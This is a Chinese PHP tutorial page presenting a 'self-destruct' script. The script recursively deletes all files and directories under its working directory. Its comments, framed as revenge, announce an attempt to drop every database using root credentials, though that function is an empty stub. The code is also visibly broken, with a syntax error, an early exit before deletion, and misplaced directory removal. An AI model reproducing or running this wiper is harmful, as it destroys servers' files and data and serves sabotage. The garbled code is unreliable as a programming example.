首页 > 后端开发 > php教程 > PHP自毁程序(慎用)_php技巧

PHP自毁程序(慎用)_php技巧

WBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWBOYWB
发布: 2016-05-16 20:11:11
原创
1113 人浏览过

本文实例讲述了PHP自毁程序。分享给大家供大家参考。具体实现方法如下:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

<&#63;php

// +----------------------------------------------------------------------

// | Kill!!

// | 程序将清除本目录所有文件、目录

// | 如果设置了数据库信息,则尝试删除所有数据库和表数据(前提是权限要够!)

// +----------------------------------------------------------------------

// | Version: $Id$

// +----------------------------------------------------------------------

//----------数据库配置区域-----------------

//复仇的力量是很可怕的,所以无需指定数据库,全删!

define('DB_USER', 'root');

define('DB_PWD', 'root');

define('DB_HOST', 'localhost');

define('DB_PORT', '3216');

define('DB_DAMAGE', true); //为false时,不碰数据库

run();

/**

 * 主体思想必须光辉伟大!

 *

 * @return void

 **/

function run()

{

 //删除文件

 deletedir();

 //删除数据库

 deleteDB();

}

/**

 * 呵呵呵,删除当前目录所有文件(递归)

 *

 * @return void

 **/

function deletedir($dir = ''){

 if ($dir == '') {

  $dir = realpath('.');

 }

 echo $dir;

 exit();

  if(!handle=@opendir($dir)){

  //检测要打开目录是否存在

  die("没有该目录");

  }

  while(false !==($file=readdir($handle))){

    if($file!=="."&&$file!==".."){

    //排除当前目录与父级目录

    $file=$dir .DIRECTORY_SEPARATOR. $file;

    if(is_dir($file)){

     deletedir($file);

    }else{

     if(@unlink($file)){

      echo "文件<b>$file</b>删除成功。<br>";

     }else{

      echo "文件<b>$file</b>删除失败!<br>";

     }

    }

    }

    if(@rmdir($dir)){

    echo "目录<b>$dir</b>删除成功了。<br>\n";

    }else{

    echo "目录<b>$dir</b>删除失败!<br>\n";

    }

   }

/**

 * 呵呵呵,删除数据库

 *

 * @return void

 **/

function deleteDB()

{

 if(DB_DAMAGE === true){

  //start

 }

}

登录后复制

希望本文所述对大家的php程序设计有所帮助。

相关标签:
php
本站声明
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn
最新问题
怎么学好php
来自于 1970-01-01 08:00:00
0
0
0
PHP扩展intl
来自于 1970-01-01 08:00:00
0
0
0
php数据获取?
来自于 1970-01-01 08:00:00
0
0
0
热门教程
更多>
最新下载
更多>
网站特效
网站源码
网站素材
前端模板